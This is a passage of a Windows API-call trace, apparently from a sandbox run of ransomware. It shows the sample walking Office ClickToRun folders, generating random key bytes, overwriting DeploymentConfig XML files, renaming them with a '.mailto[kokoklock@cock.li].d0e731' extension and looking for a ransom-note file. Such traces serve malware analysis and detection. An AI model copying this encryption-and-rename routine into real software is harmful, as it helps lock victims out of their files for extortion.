returned 0x3434528 [0072.472] wcscmp (_String1=".", _String2=".") returned 0 [0072.472] FindNextFileW (in: hFindFile=0x3434528, lpFindFileData=0x33ebc20 | out: lpFindFileData=0x33ebc20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96d43d48, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ee74e6, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x96ee74e6, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.473] wcscmp (_String1="..", _String2=".") returned 1 [0072.473] wcscmp (_String1="..", _String2="..") returned 0 [0072.473] FindNextFileW (in: hFindFile=0x3434528, lpFindFileData=0x33ebc20 | out: lpFindFileData=0x33ebc20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96ec13b1, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ee74e6, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x96ee74e6, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-us.16", cAlternateFileName="")) returned 1 [0072.473] wcscmp (_String1="en-us.16", _String2=".") returned 1 [0072.473] wcscmp (_String1="en-us.16", _String2="..") returned 1 [0072.473] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x33e3480 [0072.473] wcscpy (in: _Dest=0x33e3480, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0" [0072.473] wcscat (in: _Dest=0x33e3480, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\" [0072.473] wcscat (in: _Dest=0x33e3480, _Source="en-us.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16" [0072.688] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33e3480, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f0 [0072.689] FindNextFileW (in: hFindFile=0x3434528, lpFindFileData=0x33ebc20 | out: lpFindFileData=0x33ebc20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96d43d48, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ec13b1, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x96ec13b1, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 1 [0072.689] wcscmp (_String1="x-none.16", _String2=".") returned 1 [0072.689] wcscmp (_String1="x-none.16", _String2="..") returned 1 [0072.689] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xae) returned 0x33e3a40 [0072.689] wcscpy (in: _Dest=0x33e3a40, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0" [0072.689] wcscat (in: _Dest=0x33e3a40, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\" [0072.689] wcscat (in: _Dest=0x33e3a40, _Source="x-none.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16" [0072.689] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33e3a40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x620 [0072.690] FindNextFileW (in: hFindFile=0x3434528, lpFindFileData=0x33ebc20 | out: lpFindFileData=0x33ebc20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96d43d48, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ec13b1, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x96ec13b1, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 0 [0072.690] FindClose (in: hFindFile=0x3434528 | out: hFindFile=0x3434528) returned 1 [0072.690] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ebc20) returned 1 [0072.690] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e6330) returned 1 [0072.690] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e65d0) returned 1 [0072.690] RtlExitUserThread (Status=0x0) Thread: id = 565 os_tid = 0x1170 [0072.473] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9e) returned 0x33e63d8 [0072.474] wcscpy (in: _Dest=0x33e63d8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6" [0072.474] wcscat (in: _Dest=0x33e63d8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\" [0072.474] wcscat (in: _Dest=0x33e63d8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\*") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\*" [0072.474] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33ebe88 [0072.474] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\*", lpFindFileData=0x33ebe88 | out: lpFindFileData=0x33ebe88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f016ef, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8300c739, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8300c739, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3434568 [0072.476] wcscmp (_String1=".", _String2=".") returned 0 [0072.476] FindNextFileW (in: hFindFile=0x3434568, lpFindFileData=0x33ebe88 | out: lpFindFileData=0x33ebe88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f016ef, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8300c739, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8300c739, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.476] wcscmp (_String1="..", _String2=".") returned 1 [0072.476] wcscmp (_String1="..", _String2="..") returned 0 [0072.476] FindNextFileW (in: hFindFile=0x3434568, lpFindFileData=0x33ebe88 | out: lpFindFileData=0x33ebe88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f016ef, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x82f9a029, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x82f9a029, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-us.16", cAlternateFileName="")) returned 1 [0072.476] wcscmp (_String1="en-us.16", _String2=".") returned 1 [0072.476] wcscmp (_String1="en-us.16", _String2="..") returned 1 [0072.476] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x33e3538 [0072.476] wcscpy (in: _Dest=0x33e3538, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6" [0072.476] wcscat (in: _Dest=0x33e3538, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\" [0072.476] wcscat (in: _Dest=0x33e3538, _Source="en-us.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16" [0072.684] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33e3538, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6e0 [0072.686] FindNextFileW (in: hFindFile=0x3434568, lpFindFileData=0x33ebe88 | out: lpFindFileData=0x33ebe88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f9a029, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8300c739, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8300c739, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 1 [0072.686] wcscmp (_String1="x-none.16", _String2=".") returned 1 [0072.686] wcscmp (_String1="x-none.16", _String2="..") returned 1 [0072.686] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xae) returned 0x33e35f0 [0072.686] wcscpy (in: _Dest=0x33e35f0, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6" [0072.686] wcscat (in: _Dest=0x33e35f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\" [0072.686] wcscat (in: _Dest=0x33e35f0, _Source="x-none.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16" [0072.686] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33e35f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x53c [0072.687] FindNextFileW (in: hFindFile=0x3434568, lpFindFileData=0x33ebe88 | out: lpFindFileData=0x33ebe88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f9a029, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8300c739, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8300c739, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 0 [0072.687] FindClose (in: hFindFile=0x3434568 | out: hFindFile=0x3434568) returned 1 [0072.687] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ebe88) returned 1 [0072.688] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e63d8) returned 1 [0072.688] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e6678) returned 1 [0072.688] RtlExitUserThread (Status=0x0) Thread: id = 566 os_tid = 0x1174 [0072.477] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\deploymentconfig.0.xml")) returned 0x20 [0072.478] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml", dwFileAttributes=0x20) returned 1 [0072.478] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\deploymentconfig.0.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6ec [0072.478] GetFileSizeEx (in: hFile=0x6ec, lpFileSize=0x168bfe1c | out: lpFileSize=0x168bfe1c*=1974) returned 1 [0072.478] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x7b2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.478] ReadFile (in: hFile=0x6ec, lpBuffer=0x168bfdf0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x168bfdec, lpOverlapped=0x0 | out: lpBuffer=0x168bfdf0*, lpNumberOfBytesRead=0x168bfdec*=0x4, lpOverlapped=0x0) returned 1 [0072.567] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.567] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ea78 [0072.567] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341eaa0 [0072.567] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e5f0 [0072.567] NtQuerySystemTime (in: CurrentTime=0x168bfdc8 | out: CurrentTime=0x168bfdc8*=132121176304565182) returned 0x0 [0072.567] RtlRandom (in: Seed=0x168bfdd4 | out: Seed=0x168bfdd4) returned 0xf35e628e [0072.567] RtlRandom (in: Seed=0x168bfdd4 | out: Seed=0x168bfdd4) returned 0xdda051ee [0072.567] RtlRandom (in: Seed=0x168bfdd4 | out: Seed=0x168bfdd4) returned 0x3121cecf [0072.567] RtlRandom (in: Seed=0x168bfdd4 | out: Seed=0x168bfdd4) returned 0x7d9ea75e [0072.567] RtlRandom (in: Seed=0x168bfdd4 | out: Seed=0x168bfdd4) returned 0xdcf5d5cf [0072.567] RtlRandom (in: Seed=0x168bfdd4 | out: Seed=0x168bfdd4) returned 0xda4aeb89 [0072.567] RtlRandom (in: Seed=0x168bfdd4 | out: Seed=0x168bfdd4) returned 0xd30a730e [0072.567] RtlRandom (in: Seed=0x168bfdd4 | out: Seed=0x168bfdd4) returned 0x76f63436 [0072.567] RtlRandom (in: Seed=0x168bfdd4 | out: Seed=0x168bfdd4) returned 0xe2cf3ba3 [0072.567] RtlRandom (in: Seed=0x168bfdd4 | out: Seed=0x168bfdd4) returned 0xaf00dc15 [0072.567] RtlRandom (in: Seed=0x168bfdd4 | out: Seed=0x168bfdd4) returned 0xfbdd80e9 [0072.567] RtlRandom (in: Seed=0x168bfdd4 | out: Seed=0x168bfdd4) returned 0x719424d0 [0072.568] RtlRandom (in: Seed=0x168bfdd4 | out: Seed=0x168bfdd4) returned 0x79d9c183 [0072.568] RtlRandom (in: Seed=0x168bfdd4 | out: Seed=0x168bfdd4) returned 0xe68174ee [0072.568] RtlRandom (in: Seed=0x168bfdd4 | out: Seed=0x168bfdd4) returned 0xf40b9355 [0072.568] RtlRandom (in: Seed=0x168bfdd4 | out: Seed=0x168bfdd4) returned 0xcb29d009 [0072.568] RtlRandom (in: Seed=0x168bfdd4 | out: Seed=0x168bfdd4) returned 0xcd215593 [0072.568] RtlRandom (in: Seed=0x168bfdd4 | out: Seed=0x168bfdd4) returned 0xfca1033b [0072.568] RtlRandom (in: Seed=0x168bfdd4 | out: Seed=0x168bfdd4) returned 0xaedc0422 [0072.568] RtlRandom (in: Seed=0x168bfdd4 | out: Seed=0x168bfdd4) returned 0xaa6afce0 [0072.568] RtlRandom (in: Seed=0x168bfdd4 | out: Seed=0x168bfdd4) returned 0x59c80726 [0072.568] RtlRandom (in: Seed=0x168bfdd4 | out: Seed=0x168bfdd4) returned 0x83ee9aa3 [0072.568] RtlRandom (in: Seed=0x168bfdd4 | out: Seed=0x168bfdd4) returned 0x7d399032 [0072.568] RtlRandom (in: Seed=0x168bfdd4 | out: Seed=0x168bfdd4) returned 0xb077547e [0072.568] RtlRandom (in: Seed=0x168bfdd4 | out: Seed=0x168bfdd4) returned 0x16703843 [0072.568] RtlRandom (in: Seed=0x168bfdd4 | out: Seed=0x168bfdd4) returned 0x93a87f2c [0072.568] RtlRandom (in: Seed=0x168bfdd4 | out: Seed=0x168bfdd4) returned 0xcc4969f5 [0072.568] RtlRandom (in: Seed=0x168bfdd4 | out: Seed=0x168bfdd4) returned 0xe46fe208 [0072.568] RtlRandom (in: Seed=0x168bfdd4 | out: Seed=0x168bfdd4) returned 0xd96a74e5 [0072.568] RtlRandom (in: Seed=0x168bfdd4 | out: Seed=0x168bfdd4) returned 0xe93d18cc [0072.568] RtlRandom (in: Seed=0x168bfdd4 | out: Seed=0x168bfdd4) returned 0xd105e865 [0072.568] RtlRandom (in: Seed=0x168bfdd4 | out: Seed=0x168bfdd4) returned 0xfd942721 [0072.579] ReadFile (in: hFile=0x6ec, lpBuffer=0x33f28e0, nNumberOfBytesToRead=0x7b6, lpNumberOfBytesRead=0x168bfdc8, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesRead=0x168bfdc8*=0x7b6, lpOverlapped=0x0) returned 1 [0072.579] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x168bfd90 | out: lpNewFilePointer=0x0) returned 1 [0072.580] WriteFile (in: hFile=0x6ec, lpBuffer=0x348a220*, nNumberOfBytesToWrite=0x7b6, lpNumberOfBytesWritten=0x168bfdc4, lpOverlapped=0x0 | out: lpBuffer=0x348a220*, lpNumberOfBytesWritten=0x168bfdc4*=0x7b6, lpOverlapped=0x0) returned 1 [0072.580] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ea78 [0072.580] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e668 [0072.580] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e668) returned 1 [0072.580] WriteFile (in: hFile=0x6ec, lpBuffer=0x341ea78*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x168bfdc0, lpOverlapped=0x0 | out: lpBuffer=0x341ea78*, lpNumberOfBytesWritten=0x168bfdc0*=0x20, lpOverlapped=0x0) returned 1 [0072.580] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ea78) returned 1 [0072.580] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a220) returned 1 [0072.580] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0072.580] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f10) returned 1 [0072.580] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd1f0) returned 1 [0072.580] WriteFile (in: hFile=0x6ec, lpBuffer=0x341e640*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x168bfdec, lpOverlapped=0x0 | out: lpBuffer=0x341e640*, lpNumberOfBytesWritten=0x168bfdec*=0x8, lpOverlapped=0x0) returned 1 [0072.580] WriteFile (in: hFile=0x6ec, lpBuffer=0x168bfe04*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x168bfdec, lpOverlapped=0x0 | out: lpBuffer=0x168bfe04*, lpNumberOfBytesWritten=0x168bfdec*=0x4, lpOverlapped=0x0) returned 1 [0072.580] WriteFile (in: hFile=0x6ec, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x168bfdec, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x168bfdec*=0x4, lpOverlapped=0x0) returned 1 [0072.580] WriteFile (in: hFile=0x6ec, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x168bfdec, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x168bfdec*=0x6c, lpOverlapped=0x0) returned 1 [0072.580] WriteFile (in: hFile=0x6ec, lpBuffer=0x341eaa0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x168bfdec, lpOverlapped=0x0 | out: lpBuffer=0x341eaa0*, lpNumberOfBytesWritten=0x168bfdec*=0x20, lpOverlapped=0x0) returned 1 [0072.581] WriteFile (in: hFile=0x6ec, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x168bfdec, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x168bfdec*=0x4, lpOverlapped=0x0) returned 1 [0072.581] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341eaa0) returned 1 [0072.581] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e618) returned 1 [0072.581] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e640) returned 1 [0072.581] CloseHandle (hObject=0x6ec) returned 1 [0072.581] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc0) returned 0x3432230 [0072.581] wcscpy (in: _Dest=0x3432230, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml" [0072.581] wcscat (in: _Dest=0x3432230, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml.mailto[kokoklock@cock.li].d0e731" [0072.581] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\deploymentconfig.0.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\deploymentconfig.0.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0072.582] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0072.582] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3432230) returned 1 [0072.582] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml", dwFileAttributes=0x20) returned 0 [0072.582] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x76) returned 0x33cd770 [0072.582] wcscpy (in: _Dest=0x33cd770, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\" [0072.582] wcscat (in: _Dest=0x33cd770, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\D0E731-Readme.txt" [0072.582] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\d0e731-readme.txt")) returned 0x20 [0072.582] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd770) returned 1 [0072.582] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c45b8) returned 1 [0072.582] RtlExitUserThread (Status=0x1) Thread: id = 567 os_tid = 0x117c [0072.480] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\deploymentconfig.1.xml")) returned 0x20 [0072.481] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml", dwFileAttributes=0x20) returned 1 [0072.481] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\deploymentconfig.1.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e8 [0072.481] GetFileSizeEx (in: hFile=0x6e8, lpFileSize=0x1693f770 | out: lpFileSize=0x1693f770*=1972) returned 1 [0072.481] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x7b0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.482] ReadFile (in: hFile=0x6e8, lpBuffer=0x1693f744, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1693f740, lpOverlapped=0x0 | out: lpBuffer=0x1693f744*, lpNumberOfBytesRead=0x1693f740*=0x4, lpOverlapped=0x0) returned 1 [0072.548] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.548] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ea78 [0072.548] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341eaa0 [0072.548] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341eac8 [0072.548] NtQuerySystemTime (in: CurrentTime=0x1693f71c | out: CurrentTime=0x1693f71c*=132121176304409005) returned 0x0 [0072.548] RtlRandom (in: Seed=0x1693f728 | out: Seed=0x1693f728) returned 0x553776df [0072.548] RtlRandom (in: Seed=0x1693f728 | out: Seed=0x1693f728) returned 0x68da27c1 [0072.548] RtlRandom (in: Seed=0x1693f728 | out: Seed=0x1693f728) returned 0x8a24d6e4 [0072.548] RtlRandom (in: Seed=0x1693f728 | out: Seed=0x1693f728) returned 